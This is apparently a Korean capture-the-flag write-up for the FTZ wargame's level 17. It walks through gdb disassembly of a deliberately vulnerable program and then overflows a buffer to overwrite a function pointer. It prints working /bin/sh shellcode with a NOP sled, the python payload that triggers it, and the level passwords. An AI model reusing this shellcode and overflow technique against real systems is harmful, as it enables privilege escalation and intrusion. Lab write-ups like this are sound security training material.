보안_기타/ftz
ftz 17
정지홍
2024. 8. 23. 09:18
192.168.174.128
Level17 Password is "king poetic".
[level17@ftz level17]$ cat hint
#include <stdio.h>
void printit() {
printf("Hello there!\n");
}
main()
{ int crap;
void (*call)()=printit;
char buf[20];
fgets(buf,48,stdin);
setreuid(3098,3098);
call();
}
(gdb) disas printit
Dump of assembler code for function printit:
0x08048490 <printit+0>: push ebp
0x08048491 <printit+1>: mov ebp,esp
0x08048493 <printit+3>: sub esp,0x8
0x08048496 <printit+6>: sub esp,0xc
0x08048499 <printit+9>: push 0x8048558
0x0804849e <printit+14>: call 0x8048370 <printf>
0x080484a3 <printit+19>: add esp,0x10
0x080484a6 <printit+22>: leave
0x080484a7 <printit+23>: ret
End of assembler dump.
(gdb) disas main
Dump of assembler code for function main:
0x080484a8 <main+0>: push ebp
0x080484a9 <main+1>: mov ebp,esp
0x080484ab <main+3>: sub esp,0x38 # 56bytes
0x080484ae <main+6>: mov DWORD PTR [ebp-16],0x8048490 # ebp-16지점이 0x8048490를 가르키게 함. 이는 printit주소
0x080484b5 <main+13>: sub esp,0x4 # 4bytes
0x080484b8 <main+16>: push ds:0x804967c # buf의 실제 주소를 푸시한다.
0x080484be <main+22>: push 0x30 # 48을 푸쉬하는데 이는 fgets의 인자로 보인다.
0x080484c0 <main+24>: lea eax,[ebp-56] # buf의 실제 주소를 eax에 로드한다.
0x080484c3 <main+27>: push eax # eax에 로드된 buf의 주소를 스택에 푸시
0x080484c4 <main+28>: call 0x8048350 <fgets>
0x080484c9 <main+33>: add esp,0x10
0x080484cc <main+36>: sub esp,0x8
0x080484cf <main+39>: push 0xc1a
0x080484d4 <main+44>: push 0xc1a
0x080484d9 <main+49>: call 0x8048380 <setreuid>
0x080484de <main+54>: add esp,0x10
0x080484e1 <main+57>: mov eax,DWORD PTR [ebp-16]
0x080484e4 <main+60>: call eax
0x080484e6 <main+62>: leave
0x080484e7 <main+63>: ret
0x080484e8 <main+64>: nop
0x080484e9 <main+65>: nop
---Type <return> to continue, or q <return> to quit---
0x080484ea <main+66>: nop
0x080484eb <main+67>: nop
0x080484ec <main+68>: nop
0x080484ed <main+69>: nop
0x080484ee <main+70>: nop
0x080484ef <main+71>: nop
End of assembler dump.
여기를 보면 ebp-56지점이 buf의 주소다.
그리고 ebp-16지점이 포인터함수 call의 주소이다.
===> 그렇다면 call이 printit가 아니라 shell을 실행하는 코드를 넣어야함.
=====> 왜냐면 우선 코드가 setreuid로 level18의 아이디로 바꿔주고나서 call함수를 실행하기 때문.
=======> 즉, setreuid로 다음 레벨 권한을 얻고 my-pass를 입력해야함.
shell변수를 등록하고 코드를 실행하여 쉘코드 주소를 알아냄
export SHELL=$(python -c 'print "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')
#include <stdio.h>
int main(int argc , char ** argv){
printf("%p\n",getenv("SHELL") );
}
[level17@ftz tmp]$ gcc -o a a.c
[level17@ftz tmp]$ ./a
0xbffffb82
[level17@ftz level17]$ ( python -c 'print"a"*40 + "\x82\xfb\xff\xbf" '; cat ) | ./attackme
my-pass
TERM environment variable not set.
Level18 Password is "why did you do it".